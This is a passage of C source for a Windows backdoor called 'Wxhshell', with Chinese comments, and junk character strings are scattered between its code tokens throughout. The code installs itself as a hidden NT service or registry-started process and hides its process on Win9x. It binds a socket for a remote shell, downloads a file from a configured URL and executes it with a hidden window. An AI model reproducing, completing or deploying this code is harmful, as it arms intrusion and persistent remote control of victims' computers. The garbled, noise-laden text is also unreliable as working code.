pNmT0 if(hProcess==NULL) return 0; Mb~F%_ '/s)%bc HMODULE hMod; l!u_"I8j5 char procName[255]; #S"nF@ unsigned long cbNeeded; v`1M[ p0vVkdd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HN|%9{VeB )\$|X}uny& CloseHandle(hProcess); #AQV(;r7@ rFL;'Cj@ if(strstr(procName,"services")) return 1; // 以服务启动 Ig>(m49d %1+4_g9 return 0; // 注册表启动 Xc&9Glf } )+9Uoe~6 i=2N;sAl // 主模块
[/8%3 int StartWxhshell(LPSTR lpCmdLine) f4|rVP|x { u]UOSf n SOCKET wsl; I-l_TpM) BOOL val=TRUE; kE1TP]| int port=0; 5:_}zu|!u struct sockaddr_in door; *\F~[ ^^ixa1H< if(wscfg.ws_autoins) Install(); "3Y0`&:D 5`p.#
port=atoi(lpCmdLine); LZxNAua p9-K_dw3X@ if(port<=0) port=wscfg.ws_port; s!$a\ k 63IM]J WSADATA data; R.<g3"Lm> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^} >w<'0 pOoEI+t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $/Uq0U setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a0H+.W+] door.sin_family = AF_INET; HJ.-Dg5U door.sin_addr.s_addr = inet_addr("127.0.0.1"); )zDCu` door.sin_port = htons(port); Nu)NqFG, dioGAai' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~})e?q;b closesocket(wsl); $VOFOc return 1; E|shs=I } *.w9c j8:\%| if(listen(wsl,2) == INVALID_SOCKET) { 44j*KsBf closesocket(wsl); <t!W5q return 1; h^P#{W!e\ } jq0O22
-R Wxhshell(wsl); XfIJ4ZM5 WSACleanup(); ]JQULE) Z*6IW7# return 0; +D*Z_Yh6 N!tX<u~2 } .O<obq~;C <qt|d& // 以NT服务方式启动 p0eX{xm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (A.C]hD { Pr
C{'XDlU DWORD status = 0; v4 E}D DWORD specificError = 0xfffffff; @BMx!r5kn Bk{]g=DO serviceStatus.dwServiceType = SERVICE_WIN32; lr&a;aZp serviceStatus.dwCurrentState = SERVICE_START_PENDING; {?7Uj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %E;'ln4h&, serviceStatus.dwWin32ExitCode = 0; MomwX serviceStatus.dwServiceSpecificExitCode = 0; Q22 GIr serviceStatus.dwCheckPoint = 0; Y8t8!{ytg serviceStatus.dwWaitHint = 0; ` 5>b:3 *|HY>U. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n~Lt\K: if (hServiceStatusHandle==0) return; E=O\0!F|b ~pky@O#b status = GetLastError(); 3=V&K- if (status!=NO_ERROR) F,CTZ~ { 7_[L o4_ serviceStatus.dwCurrentState = SERVICE_STOPPED; f*
wx< serviceStatus.dwCheckPoint = 0; dlnX_+((KC serviceStatus.dwWaitHint = 0; u)Whr@m serviceStatus.dwWin32ExitCode = status; WTiD[u serviceStatus.dwServiceSpecificExitCode = specificError; <%mRSv SetServiceStatus(hServiceStatusHandle, &serviceStatus); RT8 ?7xFc return; ,<X9 Y2B } Z4bNV?OH 2st3 serviceStatus.dwCurrentState = SERVICE_RUNNING; /BL4<T f serviceStatus.dwCheckPoint = 0; wb ;xRP"w serviceStatus.dwWaitHint = 0; j5h-dK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K:WDl;8(d } tO&^>&;5 ]/{)bpu // 处理NT服务事件,比如:启动、停止 .fs3>@T"# VOID WINAPI NTServiceHandler(DWORD fdwControl) b\5F ]r { K@%].: switch(fdwControl) TkF[x%o { Pc]HP case SERVICE_CONTROL_STOP: `
G
kX serviceStatus.dwWin32ExitCode = 0; \
6MCxh6 serviceStatus.dwCurrentState = SERVICE_STOPPED; #p{4^ serviceStatus.dwCheckPoint = 0; :Iz8aQ serviceStatus.dwWaitHint = 0; $Ygue5{c { hCo|HB SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^kSqsT" } H6gSO(U return; o;RI*I case SERVICE_CONTROL_PAUSE: kSo"Ak! serviceStatus.dwCurrentState = SERVICE_PAUSED; $NO&YLS@ break; ;9'OOz|+1 case SERVICE_CONTROL_CONTINUE: ,iwp,=h= serviceStatus.dwCurrentState = SERVICE_RUNNING; M'l ;: break; ;GD]dW# case SERVICE_CONTROL_INTERROGATE: Ht&YC<X break; |+"(L#wk }; D3K8F@d SetServiceStatus(hServiceStatusHandle, &serviceStatus); W(/h Vt } >KKMcTOYY Yoll?_k+ // 标准应用程序主函数 )=-szJjXZ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xe$_aBU { '4<1 1(U [1H^3g
' // 获取操作系统版本 ]J]h#ZHx OsIsNt=GetOsVer(); v(%*b,^
GetModuleFileName(NULL,ExeFile,MAX_PATH); !Xw5<J3L- rQ snhv // 从命令行安装 eJ81-!) if(strpbrk(lpCmdLine,"iI")) Install(); '/%H3A#L YZJyk:H\ // 下载执行文件 /z $u]X if(wscfg.ws_downexe) { ku
M$UYTTX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a"u0Q5J WinExec(wscfg.ws_filenam,SW_HIDE); dUdT7ixo } zp?`N; o3}3p]S\ if(!OsIsNt) { oe~b}: // 如果时win9x,隐藏进程并且设置为注册表启动 Wh{tZ~c HideProc(); 8*a&Jl StartWxhshell(lpCmdLine); Ilm^G}GB } Ny)X+2Ae else Nmh*EAJSy if(StartFromService()) BING{ew // 以服务方式启动 jmW7)jT8: StartServiceCtrlDispatcher(DispatchTable); lU8Hd|@- else 7"D.L-H // 普通方式启动 iO;
7t@]- StartWxhshell(lpCmdLine); Pj%|\kbNs Q#zmf24W return 0; 8, >P }
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